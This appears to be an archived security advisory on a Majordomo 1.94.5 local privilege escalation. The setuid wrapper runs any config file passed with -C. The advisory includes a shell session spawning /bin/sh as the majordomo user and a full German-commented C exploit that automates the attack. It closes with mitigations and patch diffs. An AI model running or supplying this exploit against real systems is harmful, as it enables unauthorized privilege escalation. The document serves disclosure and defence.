COMMAND
majordomo
SYSTEMS AFFECTED
majordomo
PROBLEM
Federico G. Schwindt found following. Majordomo is a perl script
for managing mailing lists. The package comes with several
scripts and a program written in C (wrapper) that runs setuid to
ensure that majordomo performs all the work with proper
permissions (for further information you can check the FAQ that
comes with the package under Doc/).
This wrapper is installed by default as root, mode 4755 and group
as the one used for majordomo. What this means? If you can fool
majordomo to run arbitrary commands, they'll be run with uid and
gid equal to the one used for majordomo.
Almost all of these scripts accept an optional configuration from
the command line, which is loaded and evaluated via perl's
require keyword.
This file is nothing else than perl code, thus creating a special
file with our commands and pointing it as the configuration of any
of the affected scripts will result in the following (this applies
to majordomo 1.94.5):
$ cat /tmp/myconf
system("/bin/sh");
$ id
uid=1000(fgsch) gid=1000(fgsch) groups=1000(fgsch), 0(wheel), 11(core)
$ ./wrapper bounce-remind -C /tmp/myconf
$ id
uid=41(majordom) gid=41(majordom) groups=1000(fgsch), 0(wheel), 11(core)
This is not new. The same problem has been seen in the past in
the majordomo script shipped with the previous version, 1.94.4.
Interesting enough, this occurs on several scripts: archive2.pl,
bounce-remind, config-test, digest, majordomo, request-answer and
resend; medit under bin/, and archive_mh.pl, new-list, and
sequencer under Tools/ uses 'require' in the same way, but since
the wrapper only executes those scripts found in the majordomo
installation directory, they cannot be exploited.
Just a quick 'n dirty "exploit" for the Majordomo-prob. Probably
usefull to Admins who want to check (automatically) their system
with one small script ... It's possible to adapt this program
easily - if you need to.
/*
MAJORDOMO - EXPLOIT FÜR LINUX
getestet bis v1.94.5
programmiert von Morpheus
Getestet wurde der Exploit auf SuSE Linux 6.0 / 6.3 (CeBIT-Version).
Zur Kompilierung des Exploits:
gcc major.c -o major
Zur Nutzung des Exploits:
Wenn der Exploit <major> heißt dann einfach ./major eingeben. Es
sollte genügen. Wenn dann keine Shell gestartet wird, bitte die
Fehlermeldungen beachten. Entweder ist die Majordomo-Version nicht
"kompatibel" oder das Majordomo-Skript ist nicht vorhanden. Dann
sollte man entweder ./major auto eingeben, so dass der Exploit
alle verwundbaren Skripts ausprobiert, oder man gibt ./major <skript>
ein, wobei <skript> durch ein verwundbares Majordomo-Skript zu ersetzen
ist. Um die Hilfe-Übersicht zu bekommen, einfach ./major -h eingeben.
Programmiert von Morpheus [BrightDarkness] '00
URL: www.brightdarkness.de
Mail: morpheusbd@gmx.net
Dieser Bug in Majordomo wurde nicht von mir entdeckt. Ich habe nur
zu diesem Bug den entsprechenden Exploit programmiert.
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define MAJORDOMO "/usr/lib/majordomo/wrapper"
#define SHELL "system(\"/bin/sh\")"
#define MORPHEUS "/tmp/morpheus"
#define WRAPPER "wrapper"
void intro(void);
void usage(char *arg);
int main(int argc, char **argv)
{
char skript[30];
char *skripte[40];
int i = 0;
int file;
skripte[1] = "bounce-remind";
skripte[2] = "archive2.pl";
skripte[3] = "config-test";
skripte[4] = "digest";
skripte[5] = "majordomo";
skripte[6] = "request-answer";
skripte[7] = "resend";
if ((argc == 2) && (strcmp(argv[1], "-h") == 0))
usage(argv[0]);
if (argc == 2)
strncpy(skript,argv[1], strlen(skript));
else
strcpy(skript, "bounce-remind");
if ((file = open(MORPHEUS, O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0)
{
perror(MORPHEUS);
exit(1);
}
write(file, SHELL, strlen(SHELL));
close(file);
intro();
if (strncmp(skript, "auto") == 0)
{
for (i = 1; i <= 7; i++)
{
printf("using : %s\n", skripte[i]);
if (execl(MAJORDOMO, WRAPPER, skripte[i], "-C", MORPHEUS, 0) == -1) perror("EXECL");
}
}
else
{
printf("using : %s\n", skript);
if (execl(MAJORDOMO, WRAPPER, skript, "-C", MORPHEUS, 0) == -1) perror("EXECL");
}
return 0;
}
void intro(void)
{
printf("\033[2J\033[1;1H");
printf("\033[1;33mExploit-Code für Majordomo Wrapper <= v1.94.5\n");
printf("\033[1;32mProgrammiert von Morpheus [BrightDarkness] '00\n");
printf("\033[1;31mURL: \033[1;32mwww.brightdarkness.de\n");
printf("\033[1;31mmail: \033[1;32mmorpheusbd@gmx.net\n");
printf("\033[0;29m");
}
void usage(char *arg)
{
intro();
printf("\033[1;34m");
printf("Hilfe für dieses Programm :\n");
printf("Benutzung : %s -h Help screen\n", arg);
printf(" %s auto Trying all scripts automatically\n", arg);
printf(" %s <skriptname> Tries just this <script>\n", arg);
printf("\033[0;29m");
exit(0);
}
SOLUTION
This came up in January. It's also well documented in the
majordomo FAQ:
http://www.greatcircle.com/majordomo/majordomo-faq.html#wrapsec
It is easily possible to remove 'all' interactive access to all
the pieces of the majordomo software, even if you are using smrsh,
without modifying the majordomo software itself.
* set the group id in majordomo's makefile to group 'mail'
(assuming you're the same as RedHat and mail is delivered
as mail.mail on your o/s - check it with a script that runs
'id')
* remove world r-x on majordomo's home dir and its contents
* remove world r-x on the list dir and its contents
* still have the symbolic link to wrapper for smrsh to work if
you have that installed with your sendmail
Tested with majordomo 1.94-5 on RH-6.1 (sendmail8.9.3+smrsh)
The obvious fix is to remove this option from all the involved
scripts, but since it can be useful on large sites with several
mailing lists, we've choosen instead to only allow configuration
files from a trusted directory, removing the problem without
loosing functionality. Diffs:
--- majordomo-1.94.5/Makefile.orig Tue Jan 18 11:01:17 2000
+++ majordomo-1.94.5/Makefile Tue May 23 07:05:24 2000
@@ -63,7 +63,8 @@
# passed to processes run by "wrapper"
W_SHELL = /bin/sh
W_PATH = /bin:/usr/bin:/usr/ucb
-W_MAJORDOMO_CF = $(W_HOME)/majordomo.cf
+W_MAJORDOMO_CF = majordomo.cf
+W_MAJORDOMO_CFDIR = $(W_HOME)/config
# A directory for temp files..
TMPDIR = /usr/tmp
@@ -77,7 +78,8 @@
WRAPPER_FLAGS = -DBIN=\"$(W_HOME)\" -DPATH=\"PATH=$(W_PATH)\" > \
-DHOME=\"HOME=$(W_HOME)\" -DSHELL=\"SHELL=$(W_SHELL)\" \
- -DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CF)\" \
+ -DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CFDIR)/$(W_MAJORDOMO_CF)\"
\
+ -DMAJORDOMO_CFDIR=\"MAJORDOMO_CFDIR=$(W_MAJORDOMO_CFDIR)\" \
$(POSIX)
INSTALL = ./install.sh
--- majordomo-1.94.5/archive2.pl.orig Fri Jan 7 08:00:49 2000
+++ majordomo-1.94.5/archive2.pl Tue May 23 07:47:09 2000
@@ -50,7 +50,7 @@
# Read and execute the .cf file
$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
if ($ARGV[0] eq "-C") {
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
shift(@ARGV);
shift(@ARGV);
}
--- majordomo-1.94.5/contrib/archive_mh.pl.orig Mon Mar 10 12:40:41 1997
+++ majordomo-1.94.5/contrib/archive_mh.pl Tue May 23 07:50:23 2000
@@ -17,9 +17,9 @@
$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb";
# Read and execute the .cf file
-$cf = $ENV{"MAJORDOMO_CF"} || "/tools/majordomo-1.56/majordomo.cf";
+$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
if ($ARGV[0] eq "-C") {
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
shift(@ARGV);
shift(@ARGV);
}
--- majordomo-1.94.5/bounce-remind.orig Mon Dec 9 13:49:46 1996
+++ majordomo-1.94.5/bounce-remind Tue May 23 07:47:27 2000
@@ -20,7 +20,7 @@
# Read and execute the .cf file
$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
if ($ARGV[0] eq "-C") {
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]";
shift(@ARGV);
shift(@ARGV);
}
--- majordomo-1.94.5/config-test.orig Wed Aug 27 12:17:13 1997
+++ majordomo-1.94.5/config-test Tue May 23 16:10:05 2000
@@ -117,6 +117,8 @@
print "\n\tNon obvious things that cause headaches:\n\n";
&header('');
+$ARGV[0] = ($ARGV[0] && $ARGV[0] !~ /\//) ?
+ "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[0]" : '';
$cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'};
if (eval "require '$cf'") {
--- majordomo-1.94.5/digest.orig Fri Jan 7 08:04:34 2000
+++ majordomo-1.94.5/digest Tue May 23 16:02:49 2000
@@ -322,6 +322,8 @@
&abort("-C used without -l");
} else {
# Read and execute the .cf file
+ $opt_c = ($opt_c && $opt_c !~ /\//) ?
+ "$ENV{'MAJORDOMO_CFDIR'}/$opt_c" : '';
$cf = $opt_c || $ENV{"MAJORDOMO_CF"} ||
"/etc/majordomo.cf";
require "$cf";
--- majordomo-1.94.5/majordomo.orig Thu Jan 13 14:29:31 2000
+++ majordomo-1.94.5/majordomo Tue May 23 07:48:42 2000
@@ -29,7 +29,7 @@
while ($ARGV[0]) { # parse for config file or default list
if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~
/\//;
shift(@ARGV);
shift(@ARGV);
} elsif ($ARGV[0] eq "-l") {
--- majordomo-1.94.5/medit.orig Mon Apr 28 15:38:05 1997
+++ majordomo-1.94.5/medit Tue May 23 07:48:55 2000
@@ -19,7 +19,7 @@
# Read and execute the .cf file
$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
if ($ARGV[0] eq "-C") {
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
shift(@ARGV);
shift(@ARGV);
}
--- majordomo-1.94.5/contrib/new-list.orig Mon Dec 9 13:50:45 1996
+++ majordomo-1.94.5/contrib/new-list Tue May 23 07:50:41 2000
@@ -15,7 +15,7 @@
# Read and execute the .cf file
$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
if ($ARGV[0] eq "-C") {
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
shift(@ARGV);
shift(@ARGV);
}
--- majordomo-1.94.5/request-answer.orig Fri Jan 7 08:10:18 2000
+++ majordomo-1.94.5/request-answer Tue May 23 07:49:10 2000
@@ -16,7 +16,7 @@
# Read and execute the .cf file
$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";>
if ($ARGV[0] eq "-C") {
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
shift(@ARGV);
shift(@ARGV);
}
--- majordomo-1.94.5/resend.orig Fri Jan 7 12:32:39 2000
+++ majordomo-1.94.5/resend Tue May 23 16:02:37 2000
@@ -79,6 +79,9 @@
}
# Read and execute the .cf file
+$cfdir = $ENV{"MAJORDOMO_CFDIR"};
+$opt_C = ($opt_C && $opt_C !~ /\//) ? "$cfdir/$opt_C" : '';
+$opt_c = ($opt_c && $opt_c !~ /\//) ? "$cfdir/$opt_c" : '';
$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
# Despite not having a place to send the remains of the body,
--- majordomo-1.94.5/contrib/sequencer.orig Mon Dec 9 13:50:48 1996
+++ majordomo-1.94.5/contrib/sequencer Tue May 23 07:50:58 2000
@@ -48,7 +48,7 @@
# Read and execute the .cf file
$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";
if ($ARGV[0] eq "-C") {
- $cf = $ARGV[1];
+ $cf = "$ENV{'MAJORDOMO_CFDIR'}/$ARGV[1]" unless $ARGV[1] =~ /\//;
shift(@ARGV);
shift(@ARGV);
}
--- majordomo-1.94.5/wrapper.c.orig Wed Aug 27 12:01:12 1997
+++ majordomo-1.94.5/wrapper.c Tue May 23 07:06:23 2000
@@ -42,20 +42,27 @@
# define SHELL "SHELL=/bin/sh"
#endif
+#ifndef MAJORDOMO_CF
+# error "MAJORDOMO_CF not defined; edit Makefile"
+#endif
+
+#ifndef MAJORDOMO_CFDIR
+# error "MAJORDOMO_CFDIR not defined; edit Makefile"
+#endif
+
char * new_env[] = {
HOME, /* 0 */
PATH, /* 1 */
SHELL, /* 2 */
-#ifdef MAJORDOMO_CF
MAJORDOMO_CF, /* 3 */
-#endif
+ MAJORDOMO_CFDIR, /* 4 */
0, /* possibly for USER or LOGNAME */
0, /* possible for LOGNAME */
0, /* possibly for timezone */
0
};
-int new_env_size = 7; /* to prevent overflow problems */
+int new_env_size = 8; /* to prevent overflow problems */
main(argc, argv, env)
int argc;
@@ -89,11 +96,7 @@
* if they exist.
*/
-#ifdef MAJORDOMO_CF
- e = 4; /* the first unused slot in new_env[] */
-#else
- e = 3; /* the first unused slot in new_env[] */
-#endif
+ e = 5; /* the first unused slot in new_env[] */
for (i = 0 ; env[i] != NULL && e <= new_env_size; i++) {
if ((strncmp(env[i], "USER=", 5) == 0) ||
@@ -153,5 +156,6 @@
fprintf(stderr, " PATH is %s,\n", PATH);
fprintf(stderr, " SHELL is %s,\n", SHELL);
fprintf(stderr, " MAJORDOMO_CF is %s\n", MAJORDOMO_CF);
+ fprintf(stderr, " MAJORDOMO_CFDIR is %s\n", MAJORDOMO_CFDIR);
exit(EX_OSERR);
}
MAJORDOMO_CFDIR points to the trusted directory. You should store
all the configuration files there. Be sure that is pointing to the
correct place or majordomo won't work. We've also modified
wrapper.c to barf if neither MAJORDOMO_CF nor MAJORDOMO_CFDIR are
defined, since there is no point in using it otherwise, plus a
few other minor paranoia changes...
This issue addressed by the recommended procedure at the very top
of the INSTALL file? It recommends installing majordomo only on
a secure server without user logins, or else chmod 750 the
majordomo home directory.
Debian recommendes that you replace majordomo with one of the
many other mailing-list tools available such as fml, mailman or
smartlist.
For FreeBSD deinstall the majordomo port/package, if you you have
installed it, or limit the permissions of the majordomo/directory
and/or its contents appropriately (see below).
Since the vendor has chosen not to fix the various security holes
in the default installation of majordomo, there is no simple
solution. It may be possible to adequately secure the majordomo
installation while retaining required functionality, by
tightening the permissions on the /usr/local/majordomo directory
and/or its contents, but these actions are not taken by the
FreeBSD port and are beyond the scope of this advisory. Instead
FreeBSD recommends that majordomo not be used on a system which
contains untrusted users, or an alternative mailing-list manager
be used. There are several such utilities in the FreeBSD ports
collection.